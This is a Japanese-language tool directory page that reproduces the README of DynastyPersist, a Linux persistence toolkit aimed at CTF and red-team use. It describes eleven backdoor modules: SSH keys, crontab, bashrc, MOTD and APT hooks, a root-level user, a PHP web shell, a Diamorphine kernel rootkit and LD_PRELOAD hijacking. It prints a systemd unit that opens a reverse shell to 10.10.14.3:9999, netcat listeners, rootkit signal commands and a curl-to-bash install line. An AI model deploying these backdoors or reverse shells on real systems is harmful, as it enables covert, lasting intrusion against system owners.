Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
DynastyPersist — SSHキーバックドア、cronジョブ、systemdサービス、LKMルートキット、LD_PRELOAD権限昇格のための11のモジュールを備えたLinux持続性ツールキット。CTF競技およびレッドチーム運用向けに設計されています。 | Kitploit
ツール/GitHubGitHub/trevohack/dynastypersist
特権昇格永続化メカニズムポストエクスプロイトCTFペネトレーションテストレッドチーミング
GitHubtrevohack/dynastypersist

DynastyPersist

SSHキーバックドア、cronジョブ、systemdサービス、LKMルートキット、LD_PRELOAD権限昇格のための11のモジュールを備えたLinux持続性ツールキット。CTF競技およびレッドチーム運用向けに設計されています。

リポジトリを見る
1622111ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

DynastyPersist 1.5

DynastyPersist: Linux永続性を簡単に実現するための合理化されたツール。
KoTH、Battlegrounds、ペンテスト運用をサポート

GitHub License GitHub Repo stars Static Badge

インストール • ドキュメント • 使用方法

image

ドキュメント

[ 機能 ]

機能説明
SSH鍵生成隠密アクセスのためのSSHキーを自動生成します。
Cronジョブ永続性スケジュール永続性のためのcronジョブを設定します。
Root権限カスタムユーザーroot権限を持つカスタムユーザーを作成します。
RCE永続性リモートコード実行による永続性を実現します。
LKMルートキットLinuxカーネルモジュール(LKM)ベースのルートキット永続性を示します。
Bashrc永続性永続性のためにユーザー固有のシェル初期化ファイルを変更します(エイリアス/リバースシェル)。
Root用Systemdサービスroot永続性を実現するためのsystemdサービスを設定します。
LD_PRELOAD特権昇格設定特権昇格のためにLD_PRELOADを設定します。
Message of the Day/ヘッダーのバックドア化隠密アクセスのためにシステムメッセージ表示をバックドア化します。
既存のSystemdサービスの変更永続性のために既存のsystemdサービスを操作します。
APTのバックドア化シェルを起動するためにaptコマンドをバックドア化します。

[ モジュール ]

SSH鍵生成

  • ssh鍵生成を使用してサーバーにアクセスします。このモジュールはすべてのユーザーに対してid_rsa鍵を作成します。これはリバースアクセスに使用できます。このモジュールを実行した後、攻撃者はssh経由でサーバーに接続できます。

  • これは手動でssh-keygenコマンドを使用して行うこともできます。しかし、このモジュールは瞬時にすべてのユーザーに対して秘密鍵を作成します。

root@kitploit:~
root@kali ~ ssh -i id_rsa [email protected]
  • モジュール番号: 1

Cronジョブ永続性

  • LinuxのCronジョブは、指定された間隔で自動的に実行されるスケジュールタスクです。

  • 最も効率的なモジュールの1つで、リバースシェルを使用します。このモジュールはリバースシェルコマンドを直接/etc/crontabに書き込みます。これにより、リッスンしているポートにシェルが表示されます。

root@kitploit:~
root@kali ~ nc -nvlp 9999
  • モジュール番号: 2

Root権限カスタムユーザー

  • リバースアクセスを得るためのシンプルで高速な方法です。このモジュールはrootアクセスを持つ別のユーザーを作成します。その後、攻撃者はssh経由でそのユーザーにログインできます。
root@kitploit:~
root@kali ~ ssh [email protected]
  • モジュール番号: 3

RCE永続性

  • このモジュールには、Webルートディレクトリにホストされるphpスクリプトが付属しています。スクリプトは/var/www/html/dynasty_rce/rce.phpに配置されます。さらに、LKMモジュールが先に実行されていれば、プレフィックスdynasty_rceを隠すことができます。

  • victim_ip:port/dynasty_rce/rce.phpにアクセスすると、シェル内でコマンドを実行できるようになります。

  • モジュール番号: 4

LKMルートキット

  • サーバーのカーネルにルートキットを埋め込む高度な永続性手法です。このプログラムは、Diamorphineと呼ばれるオープンソースのLKMルートキットに焦点を当てています。モジュールは一時的な場所として/var/tmp/.memoryに配置されます。このディレクトリはモジュールのセットアップ後に削除されます。
  • 以下のコードブロックはこのモジュールの使用法を示しています。
root@kitploit:~
victim@ubuntu ~ kill -64 0 # Promtes to root user. 
victim@ubuntu ~ mkdir dynasty_persist # Any directory starting with dynasty will be hidden.
victim@ubuntu ~ kill -31 <process> # Hides processors
victim@ubuntu ~ lsmod | grep -i diamorphine # Hides itself 
victim@ubuntu ~ kill -63 0 # Make it appear in lsmod output
  • モジュール番号: 5

Bashrc永続性

  • このモジュールは、リバースアクセスのためのリバースシェルコマンド、エイリアス、変数を書き込みます。ユーザーがサーバーにログインするか、findやcatを使用するとシェルが与えられます。
root@kitploit:~
root@kali ~ nc -nvlp 9999
  • モジュール番号: 6

Root用Systemdサービス

  • リバースアクセスのためにsystemdにカスタムサービスを作成するモジュールです。

  • 例:

root@kitploit:~
Description=Dynasty Persist

[Service]
ExecStart=sudo bash /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/9999 0>&1'
Restart=always
RestartSec=30

[Install]
WantedBy=default.target"
  • 上記の例はサービスとして作成されます。この方法は効率的で耐久性があります。

  • モジュール番号: 7

LD_PRELOAD特権昇格設定

  • LD_PRELOADはLinuxの環境変数で、他のライブラリの前に共有ライブラリをプリロードすることを許可します。LD_PRELOADを使用した特権昇格は、悪意のあるライブラリをロードしてシステムコールを傍受・変更し、昇格した特権を得る可能性があります。このモジュールはfindやwgetなどのコマンドをバックドア化します。

  • モジュール番号: 8

Message of the Day/ヘッダーのバックドア化

  • Linuxの「Message of the Day」(MOTD)は、ログイン時にユーザーに表示されるカスタマイズ可能なテキストで、システムに関する情報や更新を提供します。通常は/etc/motdファイルに保存され、システム管理者が変更できます。

  • このモジュールは、シェルを/etc/update-motd.d/00-headerに書き込みます。これは通常、ユーザーがログインしたときにトリガーされます。

  • モジュール番号: 9

既存のSystemdサービスの変更

  • モジュール7と同様に、既存のサービスをリバースアクセス用に変更します。

  • 簡単に言うと、サービスのExecStartPreをリバースシェルコマンドに書き換えます。

  • モジュール番号: 10

APTのバックドア化

  • 「APT」はAdvanced Package Toolの略で、UbuntuなどのDebianベースのシステムで一般的に使用されます。ファイルはここに作成されます: /etc/apt/apt.conf.d/42backdoor

  • aptコマンドをバックドア化し、aptが実行されるたびにシェルが起動します。

  • モジュール番号: 11

[ モード ]

  • 現在、最新アップデート(1.4)では2つのモードが利用可能です。

  • モードはconsoleとctfで、それぞれ特定の動作で動作するように設計されています。

  • 比較すると、consoleモードはctfモードよりも多くの機能と安定性を備えています。

Console

  • consoleモードは通常のセットアップでツールを起動し、すべての機能を利用できます。これらの機能はスクリプトが実行されるローカルホスト上でローカルに実行されます。リアルタイム操作での永続性のために設計されています。

  • モジュール番号の前にuseを付けることで、選択したモジュールを実行します。例:use 1

  • また、インターフェースが更新され、show payloadsと入力するとモジュール/ペイロードが表示されるようになりました。

  • 最後に、ヘルプ/オプションメニューも変更され、show optionsと入力して表示します。

CTF

  • ctfモードは、SSH経由で侵害されたサーバーにログインして永続性を得るための追加機能です。このアドオンはKoTHやBattlegroundsで大いに役立ちます。さらに、永続性の設定にかかる時間を大幅に節約できます。

  • consoleのほとんどの機能を実行します。

[ 使用方法 ]

  • ツールの使用構文は以下の通りです:
root@kitploit:~
$ ./dynasty.sh <lhost> <lport> <mode> 
$ ./dynasty.sh ctf 
$ ./dynasty.sh 10.10.14.3 9999 console 

インストール

Git経由

root@kitploit:~
$ git clone https://github.com/Trevohack/DynastyPersist
$ cd DynastyPersist/src 

Curl経由

root@kitploit:~
$ curl -sSL https://raw.githubusercontent.com/Trevohack/DynastyPersist/main/src/dynasty.sh | bash

ありがとうございました!

ツールをダウンロード